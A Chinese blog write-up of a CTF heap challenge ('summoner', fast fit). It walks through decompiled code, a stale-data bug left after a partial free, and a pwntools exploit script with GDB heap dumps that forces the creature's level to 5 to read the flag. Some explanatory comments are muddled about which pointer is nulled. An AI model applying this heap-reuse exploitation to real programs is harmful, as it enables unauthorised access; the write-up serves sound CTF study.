pwn刷题num45----fast fit

61 篇文章 1 订阅
18 篇文章 1 订阅

github题目链接
这道题下载下来后需要先用patchel使用低版本的libc(我这里用的是libc2.23)加载运行,
具体怎么用?看这
还有这
flag也是自己设置在/pwn/flag里

fast fit思想
如果一个chunk是空闲的并且足够大(大于用户申请的chunk大小),那么申请chunk时,就会选择这个空闲的chunk在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

64位程序,小端序
开启RELRO-----got表不可写
开启canary保护-----栈溢出需绕过canary
开启NX保护-----堆栈不可执行
开启PIE----内存地址随机化
动态链接

运行一下
在这里插入图片描述
这里我翻译了一下,好像翻译的有点不对,但大体就这意思

翻过雪山后,遇到了邪恶的召唤师!他召唤出了5级的“黑魔王”!你必须越过他的尸体才能与魔龙战斗,但你只能召唤4级生物!你现在有什么打算???可用计划:
show - 显示你的生物及其等级
summon [name] - 召唤一个名为 [name] 的生物
level-up [level] - 升级你的生物(低于 5 级) 罢工 - 打击邪恶的召唤者的生物!!!
release - 释放你的生物
quit - 放弃并死
输入你的命令:
召唤一个当前的生物:“a”
输入你的命令: >
显示当前的生物:a [Level 0]
输入你的命令: > level-up Invalid command
输入你的命令: > 升级一个 升级到“0”
输入你的命令: > strike
不,你不能打败他!
输入你的命令: > release 发布。
输入您的命令: > 退出
ida看一下伪代码

有一个菜单函数
在这里插入图片描述
程序流程基本全在主函数里

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rsi
  char **v5; // [rsp+0h] [rbp-240h]
  unsigned int mylevel; // [rsp+1Ch] [rbp-224h]
  void **v7; // [rsp+20h] [rbp-220h]
  const char *name; // [rsp+28h] [rbp-218h]
  const char *nptra; // [rsp+28h] [rbp-218h]
  char s; // [rsp+30h] [rbp-210h]
  char v11; // [rsp+37h] [rbp-209h]
  _BYTE v12[7]; // [rsp+39h] [rbp-207h]
  unsigned __int64 v13; // [rsp+238h] [rbp-8h]

  v5 = a2;
  v13 = __readfsqword(0x28u);
  v3 = 0LL;
  setbuf(_bss_start, 0LL);
  sub_AF0();
  menu();
  v7 = 0LL;
  while ( 1 )
  {
    printf("\nEnter your command:\n> ", v3, v5);
    if ( !fgets(&s, 0x200, stdin) )             // 64位 small 0x20~0x400
      break;
    v3 = "show";
    if ( !strncmp(&s, "show", 4uLL) )
    {
      if ( v7 )
      {
        v3 = (const char *)*v7;
        printf("Current creature: %s [Level %u]\n", *v7, *((unsigned int *)v7 + 2));
      }
      else
      {
        puts("You have no creature now.");
      }
    }
    else
    {
      v3 = "summon";
      if ( !strncmp(&s, "summon", 6uLL) )
      {
        if ( v7 )
        {
          puts("Already have one creature. Release it first.");
        }
        else
        {
          v3 = "\n";
          name = strtok(&v11, "\n");            // nptr =  s
          if ( name )
          {
            v7 = (void **)malloc(0x10uLL);      // 动态内存分配给v7
                                                // 
            if ( !v7 )
            {
              puts("malloc() returned NULL. Out of Memory\n");
              exit(-1);
            }
            *v7 = strdup(name);                 // *v7 == *name
            v3 = name;
            printf("Current creature:\"%s\"\n", name);
          }
          else
          {
            puts("Invalid command");
          }
        }
      }
      else
      {
        v3 = "level-up";
        if ( !strncmp(&s, "level-up", 8uLL) )
        {
          if ( v7 )
          {
            v3 = "\n";
            nptra = strtok(v12, "\n");
            if ( nptra )
            {
              v3 = 0LL;
              mylevel = strtoul(nptra, 0LL, 10);
              if ( mylevel <= 4 )
              {
                *((_DWORD *)v7 + 2) = mylevel;  // v7---mem = mylevel
                v3 = (const char *)mylevel;
                printf("Level-up to \"%u\"\n", mylevel);
              }
              else
              {
                puts("Can only level-up to Level 4.");
              }
            }
            else
            {
              puts("Invalid command");
            }
          }
          else
          {
            puts("Summon first.");
          }
        }
        else
        {
          v3 = "strike";
          if ( !strncmp(&s, "strike", 6uLL) )
          {
            if ( v7 )
            {
              if ( *((_DWORD *)v7 + 2) == 5 )   // flag条件 mylevel ==5
                system("/bin/cat /pwn/flag");
              else
                puts("No, you cannot beat him!");
            }
            else
            {
              puts("Summon first.");
            }
          }
          else
          {
            v3 = "release";
            if ( !strncmp(&s, "release", 7uLL) )
            {
              if ( v7 )
              {
                free(*v7);                      // 释放内存,但未给指针v7置空,保留了原数据,v7指针的mem前8位存放姓名,后八位存放mylevel,可以通过溢出修改mylevel,free掉,再次申请内存时,mylevel默认是上次修改的值(5)
                v7 = 0LL;
                puts("Released.");
              }
              else
              {
                puts("No creature summoned.");
              }
            }
            else
            {
              v3 = "quit";
              if ( !strncmp(&s, "quit", 4uLL) )
                return 0LL;
              puts("Invalid option");
              menu();
            }
          }
        }
      }
    }
  }
  return 0LL;
}

观察程序发现创造一个怪物会建立两个chunk,第一个chunk存放怪物等级,第二个chunk存放怪物名字,
两个chunk大小(0x20字节)都是0x10(mem大小)字节

v7 = (void **)malloc(0x10uLL);      // 动态内存分配给v7
    
*v7 = strdup(name);

flag条件 mylevel ==5可以获得flag

if ( *((_DWORD *)v7 + 2) == 5 )   // flag条件 mylevel ==5
		                system("/bin/cat /pwn/flag");

·

然而由下面这段代码可知我们不能把mylecel值改为5

 if ( mylevel <= 4 )
	              {
	                *((_DWORD *)v7 + 2) = mylevel;  // v7---mem = mylevel
	                v3 = (const char *)mylevel;
	                printf("Level-up to \"%u\"\n", mylevel);
	              }
	              else
	              {
	                puts("Can only level-up to Level 4.");

思路

 free(*v7);                     
 v7 = 0LL;

释放内存,但未给指针第一个chunk指针置空,保留了原数据,只把存放name的chunk置空,*v7指针的mem前8位存放姓名,后八位存放mylevel,可以通过溢出修改mylevel,free掉,再次申请内存时,mylevel默认是上次修改的值(这里我们把等级改为5)
exp

from pwn import *
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
context(os='linux',endian='little',log_level='debug',arch='amd64')
sh = process('./summoner')
def dbg():
    gdb.attach(sh)
    pause()

sh.sendlineafter('> ','summon aaaaaaaa'+'\x05')  #申请一个chunk,溢出下一位为5

dbg() #第一个断点

sh.sendlineafter('> ','release')  #释放name的chunk

dbg()#第二个断点

sh.sendlineafter('> ','summon a') #申请一个怪物,第一个chunk就是释放的那个等级为5的chunk

dbg()#第三个断点

sh.sendlineafter('> ','strike')
sh.interactive()

运行在这里插入图片描述
在这里插入图片描述
第一个断点处,可以看到申请了两个chunk,

0x55b128748010:	0x0000000000000000	0x0000000000000021
0x55b128748020:	0x000055b128748040	0x0000000000000000 #第一个chunk,mem存放第二个chunk的地址和等级0
0x55b128748030:	0x0000000000000000	0x0000000000000021 
0x55b128748040:	0x6161616161616161	0x0000000000000005  #第二个chunk,mem存放怪物名字即多写的一个5

接着运行在这里插入图片描述

0x55b128748010:	0x0000000000000000	0x0000000000000021
0x55b128748020:	0x000055b128748040	0x0000000000000000
0x55b128748030:	0x0000000000000000	0x0000000000000021
0x55b128748040:	0x0000000000000000	0x0000000000000005

第二个断点处,可以看到free后,第一个chunk未被free,还有值,第二个chunk已经被free,name指针也置空为0
接着运行在这里插入图片描述

0x55b128748010:	0x0000000000000000	0x0000000000000021
0x55b128748020:	0x000055b128748040	0x0000000000000000 #第一次申请的chunk
0x55b128748030:	0x0000000000000000	0x0000000000000021
0x55b128748040:	0x000055b128748060	0x0000000000000005 #第二次申请的第一个chunk,使用了第一次释放的chunk,存放等级5
0x55b128748050:	0x0000000000000000	0x0000000000000021
0x55b128748060:	0x0000000000000061	0x0000000000000000 #第二次申请的第二个chunk,存放名字0x61(我们输入的a)

接着运行strike获得flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值